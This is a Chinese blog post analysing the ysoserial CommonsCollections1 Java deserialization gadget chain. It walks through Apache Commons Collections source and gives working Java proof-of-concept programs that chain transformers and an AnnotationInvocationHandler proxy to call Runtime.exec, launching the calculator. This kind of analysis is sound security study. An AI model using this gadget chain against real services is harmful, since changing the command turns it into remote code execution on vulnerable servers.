沦沦博客小屋
记录技术生活点滴

导航

 

ysoserial CommonsCollections1 分析,首先来看官方给出的Gadget分析链条


Gadget chain:
   ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
         Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
               LazyMap.get()
                  ChainedTransformer.transform()
                     ConstantTransformer.transform()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Class.getMethod()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.getRuntime()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.exec()

先跟入InvokerTransformer#transform方法

org/apache/commons/collections/functors/InvokerTransformer.java (105-134行)


public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

到这里可以看到调用到了反射,iMethodName、iParamTypes、iArgs传参都为我们可控的,这样我这边就可以进行InvokerTransformer调用transform方法来调用Runtime来执行系统命令,这里就可以这样写入


package ysoserial.test;

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformertest {
    public static void main(String[] args) {
        InvokerTransformer InvokerTransformer = new InvokerTransformer("exec",
            new Class[] { String.class }, new Object[]{new String("calc")});
        InvokerTransformer.transform(Runtime.getRuntime());
    }
}

继续跟入ChainedTransformer接口,这里定义了Transformer[]数组对象,iTransformers传入transform方法进行遍历执行

org/apache/commons/collections/functors/ChainedTransformer.java(109-125行)


public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

这里来看看遍历执行了哪些操作,实例化了另一个ConstantTransformer类然后调用transform方法参数值为1然后向下执行


向下看就可以看到ConstantTransformer实例化了Runtime.class类来进行执行系统命令

现在对ChainedTransformer进行编写调用执行命令


package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformertest {
    public static void main(String[] args) {
        Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, new Object[]{"calc"})});

        transformerChain.transform(1);

    }
}

跟进LazyMap#decorate方法
org/apache/commons/collections/map/LazyMap.java(86-88行)


public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

这里生明了Map,decorate传入了两个参,然后输出实例化LazyMap进行调用,跟到LazyMap里去


protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

然后跟到get上去,可以看到get传递了key带入到了factory.transform中进行赋值,然后map.put执行


public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

现在来看下TransformedMap类,decorate方法返回一个TransformedMap对象,其中valueTransformer是我们传入的Transformer数组

在TransformedMap类里还有一个checkSetValue重要的函数,它主要输出调用了valueTransformer.transform,现在还需要分析下readobject里面调用的setValue的入口来调用pop链,入口为:sun.reflect.annotation.AnnotationInvocationHandler


AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}


private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    GetField var2 = var1.readFields();
    Class var3 = (Class)var2.get("type", (Object)null);
    Map var4 = (Map)var2.get("memberValues", (Object)null);
    AnnotationType var5 = null;

    try {
        var5 = AnnotationType.getInstance(var3);
    } catch (IllegalArgumentException var13) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var6 = var5.memberTypes();
    LinkedHashMap var7 = new LinkedHashMap();

    String var10;
    Object var11;
    for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
        Entry var9 = (Entry)var8.next();
        var10 = (String)var9.getKey();
        var11 = null;
        Class var12 = (Class)var6.get(var10);
        if (var12 != null) {
            var11 = var9.getValue();
            if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
            }
        }
    }

    AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
    AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

this.memberValues就是我们传入的map对象,在readobject中和我们上面的pop链完全相同

现在要跟进后面关键4句代码


final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

跟进LazyMap.decorate方法


public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

这里传入输出到了LazyMap,跟进去


protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

调用了map和this.factory,在LazyMap中触发Transformer的是get方法


private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    map = (Map) in.readObject();
}

//-----------------------------------------------------------------------
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

Gadgets.createMemoitizedProxy方法其实就是创建动态代理,返回的值就是上面的evilMap。
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

Gadgets.createMemoizedInvocationHandler方法和第一条利用链生成AnnotationInvocationHandler的实例是一样的。


public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
    return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}


public static Constructor<?> getFirstCtor(final String name) throws Exception {
   final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
    setAccessible(ctor);
    return ctor;
}

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);是修改transformChain的iTransformers的值,将它替换成Transformer利用链

写个例子弹出计算器


package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

        final Map testMap = new HashMap();

        Map evilMap = (Map) Proxy.newProxyInstance(
            testMap.getClass().getClassLoader(),
            testMap.getClass().getInterfaces(),
            secondInvocationHandler
        );

// 创建完动态代理后,如果直接调用evilMap.entrySet()就会弹出计算器
        evilMap.entrySet();

    }
}

posted on 2020-11-17 17:12  沦沦  阅读(200)  评论(0编辑  收藏  举报